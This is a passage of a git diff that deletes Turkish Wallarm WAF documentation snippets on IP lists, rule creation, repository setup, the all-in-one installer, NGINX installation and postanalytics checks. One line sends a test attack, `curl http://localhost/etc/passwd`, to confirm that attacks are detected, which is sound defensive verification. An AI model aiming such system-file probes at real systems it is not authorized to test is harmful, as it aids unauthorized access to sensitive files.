"../include/api-request-examples/delete-object-from-ip-list.md" - -Silme isteğinde ID’lerini bir dizi olarak geçirerek birden fazla nesneyi aynı anda silebilirsiniz. \ No newline at end of file diff --git a/include-tr/waf/features/ip-lists/common-actions-with-lists-overview.md b/include-tr/waf/features/ip-lists/common-actions-with-lists-overview.md deleted file mode 100644 index f769dcaba4..0000000000 --- a/include-tr/waf/features/ip-lists/common-actions-with-lists-overview.md +++ /dev/null @@ -1,5 +0,0 @@ -* Tek bir IP adresi veya bir alt ağ ekleyin -* Belirli bir ülke/bölge, veri merkezi, ağ vb. kapsamında kayıtlı IP adreslerinden oluşan bir grup ekleyin -* IP adresinin listede tutulma süresini ve nedenini özelleştirin -* IP adresini listeden silin -* Liste değişikliklerinin geçmişini gözden geçirin \ No newline at end of file diff --git a/include-tr/waf/features/ip-lists/common-actions-with-lists.md b/include-tr/waf/features/ip-lists/common-actions-with-lists.md deleted file mode 100644 index 985389ab70..0000000000 --- a/include-tr/waf/features/ip-lists/common-actions-with-lists.md +++ /dev/null @@ -1,58 +0,0 @@ -## Listeye bir nesne ekleme - -Listeye bir IP adresi, alt ağ veya IP adresleri grubu eklemek için: - -1. **Add object** düğmesine tıklayın. -2. Bir IP adresini veya IP adresleri grubunu aşağıdaki yollardan biriyle belirtin: - - * Tek bir **IP adresi** veya bir **alt ağ** girin - - !!! info "Desteklenen alt ağ maskeleri" - Desteklenen en büyük alt ağ maskesi IPv6 adresleri için `/32`, IPv4 adresleri için `/12`'dir. - - * Bu ülke/bölgede kayıtlı tüm IP adreslerini eklemek için bir **ülke** veya **bölge**yi (coğrafi konum) seçin - * Bu türe ait tüm IP adreslerini eklemek için **kaynak türünü** seçin, örneğin: - * **Tor**: Tor ağının IP adresleri için - * **Proxy**: genel veya web proxy sunucularının IP adresleri için - * **Search Engine Spiders**: arama motoru botlarının IP adresleri için - * **VPN**: sanal özel ağların IP adresleri için - * **AWS**: Amazon AWS’de kayıtlı IP adresleri için -3. IP adresinin veya IP adresleri grubunun listeye ekleneceği süreyi seçin. Minimum değer 5 dakikadır, maksimum değer süresizdir. -4. Bir IP adresini veya IP adresleri grubunu listeye ekleme nedenini belirtin. -5. Bir IP adresini veya IP adresleri grubunu listeye eklemeyi onaylayın. - -![Listeye IP ekleme (uygulama olmadan)](../../images/user-guides/ip-lists/add-ip-to-list-without-app.png) - -## Listeye eklenen nesneleri analiz etme - -Wallarm Console, listeye eklenen her nesne için aşağıdaki verileri gösterir: - -* **Object** - listeye eklenen IP adresi, alt ağ, ülke/bölge veya IP kaynağı. -* **Application** - nesnenin erişim yapılandırmasının uygulandığı uygulama. [Nesne erişim yapılandırmasının belirli uygulamalara uygulanması sınırlı olduğundan](overview.md#known-caveats-of-ip-lists-configuration), bu sütunda her zaman **All** değeri görüntülenir. -* **Reason** - bir IP adresini veya IP adresleri grubunu listeye ekleme nedeni. Neden, nesneler listeye eklenirken elle belirtilir ya da [tetikleyiciler](../triggers/triggers.md) IP’leri listeye eklediğinde otomatik olarak oluşturulur. -* **Adding date** - bir nesnenin listeye eklendiği tarih ve saat. -* **Remove** - bu sürenin sonunda nesnenin listeden silineceği zaman aralığı. - -## Listeyi filtreleme - -Listedeki nesneleri şu ölçütlere göre filtreleyebilirsiniz: - -* arama dizesinde belirtilen IP adresi veya alt ağ -* liste durumunu görmek istediğiniz zaman aralığı -* bir IP adresinin veya alt ağın kayıtlı olduğu ülke/bölge -* bir IP adresinin veya alt ağın ait olduğu kaynak - -## Bir nesnenin listede kalma süresini değiştirme - -Bir IP adresinin listede kalma süresini değiştirmek için: - -1. Listeden bir nesne seçin. -2. Seçilen nesnenin menüsünde **Change time period**’a tıklayın. -3. Nesnenin listeden kaldırılacağı yeni bir tarih seçin ve işlemi onaylayın. - -## Listeden bir nesneyi silme - -Bir nesneyi listeden silmek için: - -1. Listeden bir veya birden fazla nesne seçin. -2. **Delete**’e tıklayın. \ No newline at end of file diff --git a/include-tr/waf/features/multi-tenancy/partner-client-term.md b/include-tr/waf/features/multi-tenancy/partner-client-term.md deleted file mode 100644 index 0e58f416e9..0000000000 --- a/include-tr/waf/features/multi-tenancy/partner-client-term.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! warning ""partner client" terimi" - Önceden, "tenant" için "partner client" terimi kullanılıyordu. Bundan böyle "tenant" terimini kullanacağız. \ No newline at end of file diff --git a/include-tr/waf/features/rules/request-part-reference.md b/include-tr/waf/features/rules/request-part-reference.md deleted file mode 100644 index d1f4acdd74..0000000000 --- a/include-tr/waf/features/rules/request-part-reference.md +++ /dev/null @@ -1 +0,0 @@ -Unutmayın: **In this part of request** bölümüne eklediğiniz seçenekler, Wallarm'ın gerekli istek öğesini okumak için ayrıştırıcıları hangi sırayla [uygulayacağını][request-processing] yansıtacak şekilde belirli bir sırada yer almalıdır. \ No newline at end of file diff --git a/include-tr/waf/features/rules/rule-creation-options.md b/include-tr/waf/features/rules/rule-creation-options.md deleted file mode 100644 index 5e2f1b93b1..0000000000 --- a/include-tr/waf/features/rules/rule-creation-options.md +++ /dev/null @@ -1,6 +0,0 @@ -Wallarm Console’un **Attacks** ve **Rules WAF** bölümlerinde kural oluşturup uygulayabilirsiniz. - -* **Attacks** bölümünde, kurallar uygulanacağı uç noktaların önceden doldurulmuş açıklamasıyla oluşturulur. Uç nokta açıklaması, **Rule** düğmesini tıkladığınız isteğe karşılık gelir. - - Kural kurulumunu tamamlamak için, kural eylem türünü seçmeniz ve tüm kural bileşenlerinin doğru şekilde yapılandırıldığından emin olmanız yeterlidir. -* **Rules WAF** bölümünde, tüm kural bileşenleri manuel olarak doldurulmalıdır. \ No newline at end of file diff --git a/include-tr/waf/features/rules/rule-vpatch-regex.md b/include-tr/waf/features/rules/rule-vpatch-regex.md deleted file mode 100644 index 9c938e53a6..0000000000 --- a/include-tr/waf/features/rules/rule-vpatch-regex.md +++ /dev/null @@ -1,8 +0,0 @@ -Diyelim ki `example.com` alan adından erişilebilen uygulamanız, kullanıcı kimlik doğrulaması için 32 hex sembol formatında `X-AUTHENTICATION` başlığını kullanıyor ve hatalı formatlı belirteçleri reddetmek istiyorsunuz. - -Bunu yapmak için, ekran görüntüsünde gösterildiği gibi **Create regexp-based attack indicator** kuralını ayarlayın ve **Virtual patch** olarak belirleyin; buna şunlar dahildir: - -* Regular expression: `^(.{0,31}|.{33,}|[^0-9a-fA-F]+)$` -* Request part: `header` - `X-AUTHENTICATION` - -![Regex kuralı ilk örnek][img-regex-example1] \ No newline at end of file diff --git a/include-tr/waf/installation/add-nginx-waf-repos-4.2.md b/include-tr/waf/installation/add-nginx-waf-repos-4.2.md deleted file mode 100644 index 869f6b5535..0000000000 --- a/include-tr/waf/installation/add-nginx-waf-repos-4.2.md +++ /dev/null @@ -1,41 +0,0 @@ -=== "Debian 10.x (buster)" - ```bash - sudo apt install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.2/x86_64/wallarm-node-repo-4.2-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x ve daha eski" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.2/x86_64/wallarm-node-repo-4.2-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.2/x86_64/wallarm-node-repo-4.2-0.el8.noarch.rpm - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/add-nginx-waf-repos-4.4.md b/include-tr/waf/installation/add-nginx-waf-repos-4.4.md deleted file mode 100644 index 86eca735ee..0000000000 --- a/include-tr/waf/installation/add-nginx-waf-repos-4.4.md +++ /dev/null @@ -1,46 +0,0 @@ -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.4/x86_64/wallarm-node-repo-4.4-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x ve altı" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.4/x86_64/wallarm-node-repo-4.4-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.4/x86_64/wallarm-node-repo-4.4-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.4/x86_64/wallarm-node-repo-4.4-0.el8.noarch.rpm - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-clean-machine-latest.md b/include-tr/waf/installation/all-in-one-clean-machine-latest.md deleted file mode 100644 index ae1165642e..0000000000 --- a/include-tr/waf/installation/all-in-one-clean-machine-latest.md +++ /dev/null @@ -1,15 +0,0 @@ -All-in-one yükleyici ile modülleri yükseltirken, eski bir paket kurulumunu yükseltemezsiniz - bunun yerine temiz bir makine kullanmanız gerekir. Bu nedenle, 1. adım olarak, desteklenen işletim sistemlerinden biriyle bir makine hazırlayın: - -* Debian 10, 11 ve 12.x -* Ubuntu LTS 18.04, 20.04, 22.04 -* CentOS 7, 8 Stream, 9 Stream -* Alma/Rocky Linux 9 -* RHEL 8.x -* RHEL 9.x -* Oracle Linux 8.x -* Oracle Linux 9.x -* Redox -* SuSe Linux -* Diğerleri (liste sürekli genişlemektedir, işletim sisteminizin listede olup olmadığını kontrol etmek için [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçin) - -Yeni temiz makine kullanmak, bir noktada hem eski hem de yeni düğüme sahip olmanıza yol açacaktır, bu iyidir: yenisinin düzgün çalıştığını eskisini durdurmadan test edebilirsiniz. \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-clean-machine.md b/include-tr/waf/installation/all-in-one-clean-machine.md deleted file mode 100644 index ab30fd9642..0000000000 --- a/include-tr/waf/installation/all-in-one-clean-machine.md +++ /dev/null @@ -1,14 +0,0 @@ -Hepsi bir arada yükleyici ile modülleri yükseltirken, eski bir paket kurulumunu yükseltemezsiniz - bunun yerine temiz bir makine kullanmanız gerekir. Bu nedenle, 1. adım olarak, desteklenen işletim sistemlerinden biriyle bir makine hazırlayın: - -* Debian 10, 11 ve 12.x -* Ubuntu LTS 18.04, 20.04, 22.04 -* CentOS 7, 8 Stream, 9 Stream -* Alma/Rocky Linux 9 -* RHEL 8.x -* Oracle Linux 8.x -* Oracle Linux 9.x -* Redox -* SuSe Linux -* Diğerleri (liste sürekli genişlemektedir, işletim sisteminizin listede olup olmadığını kontrol etmek için [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçin) - -Yeni, temiz bir makine kullanmak, bir süreliğine hem eski hem de yeni düğüme sahip olmanızla sonuçlanacaktır; bu iyidir: yenisinin düzgün çalıştığını, eskisini durdurmadan test edebilirsiniz. \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-installer-download-4.10.md b/include-tr/waf/installation/all-in-one-installer-download-4.10.md deleted file mode 100644 index 1c5eb40fb4..0000000000 --- a/include-tr/waf/installation/all-in-one-installer-download-4.10.md +++ /dev/null @@ -1,15 +0,0 @@ -Wallarm aşağıdaki işlemciler için hepsi-bir-arada kurulumları önerir: - -* x86_64 -* ARM64 (beta) - -Hepsi-bir-arada Wallarm kurulum betiğini indirmek için, şu komutu çalıştırın: - -=== "x86_64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.x86_64-glibc.sh - ``` -=== "ARM64 sürümü (beta)" - ```bash - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-installer-download-4.8.md b/include-tr/waf/installation/all-in-one-installer-download-4.8.md deleted file mode 100644 index 4ffffd62f4..0000000000 --- a/include-tr/waf/installation/all-in-one-installer-download-4.8.md +++ /dev/null @@ -1,15 +0,0 @@ -Wallarm aşağıdaki işlemciler için hepsi bir arada kurulumlar önerir: - -* x86_64 -* ARM64 (beta) - -Hepsi bir arada Wallarm kurulum betiğini indirmek için şu komutu çalıştırın: - -=== "x86_64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.x86_64-glibc.sh - ``` -=== "ARM64 sürümü (beta)" - ```bash - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-installer-download-5.0.md b/include-tr/waf/installation/all-in-one-installer-download-5.0.md deleted file mode 100644 index 6288eeb089..0000000000 --- a/include-tr/waf/installation/all-in-one-installer-download-5.0.md +++ /dev/null @@ -1,15 +0,0 @@ -Wallarm aşağıdaki işlemciler için hepsi bir arada kurulumlar önerir: - -* x86_64 -* ARM64 (beta) - -Hepsi bir arada Wallarm kurulum betiğini indirmek için aşağıdaki komutu çalıştırın: - -=== "x86_64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.x86_64-glibc.sh - ``` -=== "ARM64 sürümü (beta)" - ```bash - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-installer-download.md b/include-tr/waf/installation/all-in-one-installer-download.md deleted file mode 100644 index 4e7be60d91..0000000000 --- a/include-tr/waf/installation/all-in-one-installer-download.md +++ /dev/null @@ -1,15 +0,0 @@ -Wallarm aşağıdaki işlemciler için hepsi bir arada kurulumlar önermektedir: - -* x86_64 -* ARM64 - -Hepsi bir arada Wallarm kurulum betiğini indirmek için, şu komutu çalıştırın: - -=== "x86_64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/6.5/wallarm-6.5.1.x86_64-glibc.sh - ``` -=== "ARM64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/6.5/wallarm-6.5.1.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-installer-run-4.10.md b/include-tr/waf/installation/all-in-one-installer-run-4.10.md deleted file mode 100644 index 286c985e3a..0000000000 --- a/include-tr/waf/installation/all-in-one-installer-run-4.10.md +++ /dev/null @@ -1,24 +0,0 @@ -1. İndirilen betiği çalıştırın: - - === "API belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.x86_64-glibc.sh - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.aarch64-glibc.sh - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI içinde düğümlerin mantıksal gruplandırılması için kullanılır). - - === "Düğüm belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-4.10.13.x86_64-glibc.sh - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-4.10.13.aarch64-glibc.sh - ``` - -1. [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) seçin. -1. Wallarm belirtecini girin. \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-installer-run-4.8.md b/include-tr/waf/installation/all-in-one-installer-run-4.8.md deleted file mode 100644 index 97dd6b343b..0000000000 --- a/include-tr/waf/installation/all-in-one-installer-run-4.8.md +++ /dev/null @@ -1,24 +0,0 @@ -1. İndirilen betiği çalıştırın: - - === "API belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI içinde düğümlerin mantıksal gruplandırılması için kullanılır). - - === "Düğüm belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-4.8.10.x86_64-glibc.sh - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-4.8.10.aarch64-glibc.sh - ``` - -1. [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) seçin. -1. Wallarm token'ını girin. \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-installer-run-5.0.md b/include-tr/waf/installation/all-in-one-installer-run-5.0.md deleted file mode 100644 index 5f006e256e..0000000000 --- a/include-tr/waf/installation/all-in-one-installer-run-5.0.md +++ /dev/null @@ -1,24 +0,0 @@ -1. İndirilen betiği çalıştırın: - - === "API belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.x86_64-glibc.sh - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.aarch64-glibc.sh - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI'de düğümlerin mantıksal olarak gruplanması için kullanılır). - - === "Düğüm belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-5.3.19.x86_64-glibc.sh - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-5.3.19.aarch64-glibc.sh - ``` - -1. [ABD Bulutu](https://us1.my.wallarm.com/) veya [AB Bulutu](https://my.wallarm.com/) seçin. -1. Wallarm belirtecini girin. \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-installer-run.md b/include-tr/waf/installation/all-in-one-installer-run.md deleted file mode 100644 index 41fed8eaea..0000000000 --- a/include-tr/waf/installation/all-in-one-installer-run.md +++ /dev/null @@ -1,24 +0,0 @@ -1. İndirilen betiği çalıştırın: - - === "API belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.x86_64-glibc.sh - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.aarch64-glibc.sh - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI'de düğümlerin mantıksal olarak gruplandırılması için kullanılır). - - === "Düğüm belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.x86_64-glibc.sh - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.aarch64-glibc.sh - ``` - -1. [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) seçin. -1. Wallarm token'ını girin. \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-nginx-4.10.md b/include-tr/waf/installation/all-in-one-nginx-4.10.md deleted file mode 100644 index 9d39937c1c..0000000000 --- a/include-tr/waf/installation/all-in-one-nginx-4.10.md +++ /dev/null @@ -1,32 +0,0 @@ -Aşağıdakilerin en son NGINX sürümünü kurun: - -* **NGINX `stable`** - kurulum yönergeleri için NGINX [dokümantasyonu](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/). -* **NGINX Mainline** (en son desteklenen sürüm v1.25.5'tir) - kurulum yönergeleri için NGINX [dokümantasyonu](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/). -* **NGINX Plus** (en son desteklenen sürüm NGINX Plus R32'dir) - kurulum yönergeleri için NGINX [dokümantasyonu](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-plus/). -* **Dağıtım tarafından sağlanan NGINX** - kurmak için aşağıdaki komutları kullanın: - - === "Debian" - ```bash - sudo apt update - sudo apt -y install --no-install-recommends nginx - ``` - === "Ubuntu" - ```bash - sudo apt-get update - sudo apt-get install nginx - ``` - === "CentOS" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-nginx.md b/include-tr/waf/installation/all-in-one-nginx.md deleted file mode 100644 index 3745261b78..0000000000 --- a/include-tr/waf/installation/all-in-one-nginx.md +++ /dev/null @@ -1,32 +0,0 @@ -Aşağıdaki NGINX sürümlerinin en güncelini yükleyin: - -* **NGINX `stable`** (en son desteklenen sürüm v1.28.0'dır) - kurulum talimatları için NGINX [belgelerine](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/) bakın. -* **NGINX Mainline** (en son desteklenen sürüm v1.27.5'tir) - kurulum talimatları için NGINX [belgelerine](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/) bakın. -* **NGINX Plus** (en son desteklenen sürüm NGINX Plus R33'tür) - kurulum talimatları için NGINX [belgelerine](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-plus/) bakın. -* **Dağıtımın sağladığı NGINX** - kurulumu için aşağıdaki komutları kullanın: - - === "Debian" - ```bash - sudo apt update - sudo apt -y install --no-install-recommends nginx - ``` - === "Ubuntu" - ```bash - sudo apt-get update - sudo apt-get install nginx - ``` - === "CentOS" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-postanalytics-4.10.md b/include-tr/waf/installation/all-in-one-postanalytics-4.10.md deleted file mode 100644 index ef8af2f93a..0000000000 --- a/include-tr/waf/installation/all-in-one-postanalytics-4.10.md +++ /dev/null @@ -1,21 +0,0 @@ -Hepsi-bir-arada yükleyiciyle postanalytics'i ayrı olarak kurmak için şunu kullanın: - -=== "API belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.x86_64-glibc.sh postanalytics - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.aarch64-glibc.sh postanalytics - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI içinde düğümlerin mantıksal gruplanması için kullanılır). - -=== "Düğüm belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-4.10.13.x86_64-glibc.sh postanalytics - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-4.10.13.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-postanalytics-4.8.md b/include-tr/waf/installation/all-in-one-postanalytics-4.8.md deleted file mode 100644 index 1a6ffb7151..0000000000 --- a/include-tr/waf/installation/all-in-one-postanalytics-4.8.md +++ /dev/null @@ -1,21 +0,0 @@ -Hepsi bir arada yükleyici ile postanalytics'i ayrı olarak kurmak için şunu kullanın: - -=== "API belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh postanalytics - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh postanalytics - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği group'u ayarlar (Wallarm Console UI'de düğümlerin mantıksal gruplandırılması için kullanılır). - -=== "Düğüm belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-4.8.10.x86_64-glibc.sh postanalytics - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-4.8.10.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-postanalytics-5.0.md b/include-tr/waf/installation/all-in-one-postanalytics-5.0.md deleted file mode 100644 index 834af5dbdb..0000000000 --- a/include-tr/waf/installation/all-in-one-postanalytics-5.0.md +++ /dev/null @@ -1,21 +0,0 @@ -Postanalytics'i hepsi bir arada yükleyici ile ayrı olarak kurmak için şunu kullanın: - -=== "API belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.x86_64-glibc.sh postanalytics - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.aarch64-glibc.sh postanalytics - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI içinde düğümlerin mantıksal olarak gruplanması için kullanılır). - -=== "Düğüm belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-5.3.19.x86_64-glibc.sh postanalytics - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-5.3.19.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-postanalytics-check-latest.md b/include-tr/waf/installation/all-in-one-postanalytics-check-latest.md deleted file mode 100644 index 402ff42181..0000000000 --- a/include-tr/waf/installation/all-in-one-postanalytics-check-latest.md +++ /dev/null @@ -1,33 +0,0 @@ -NGINX‑Wallarm ve ayrı postanalytics modüllerinin etkileşimini doğrulamak için, korunan uygulamanın adresine test saldırısı içeren bir istek gönderebilirsiniz: - -```bash -curl http://localhost/etc/passwd -``` - -NGINX‑Wallarm ve ayrı postanalytics modülleri doğru yapılandırıldıysa, saldırı Wallarm Cloud’a yüklenir ve Wallarm Console’un **Attacks** bölümünde görüntülenir: - -![Arayüzde Attacks][img-attacks-in-interface] - -Saldırı Cloud’a yüklenmediyse, lütfen hizmetlerin çalışmasında hata olmadığını kontrol edin: - -* postanalytics modülünün günlüklerini analiz edin - - ```bash - sudo cat /opt/wallarm/var/log/wallarm/wstore-out.log - ``` - - `SystemError binary: failed to bind: Cannot assign requested address` gibi bir kayıt varsa, sunucunun belirtilen adres ve port üzerinden bağlantıyı kabul ettiğinden emin olun. -* NGINX‑Wallarm modülünün bulunduğu sunucuda, NGINX günlüklerini analiz edin: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - `[error] wallarm:
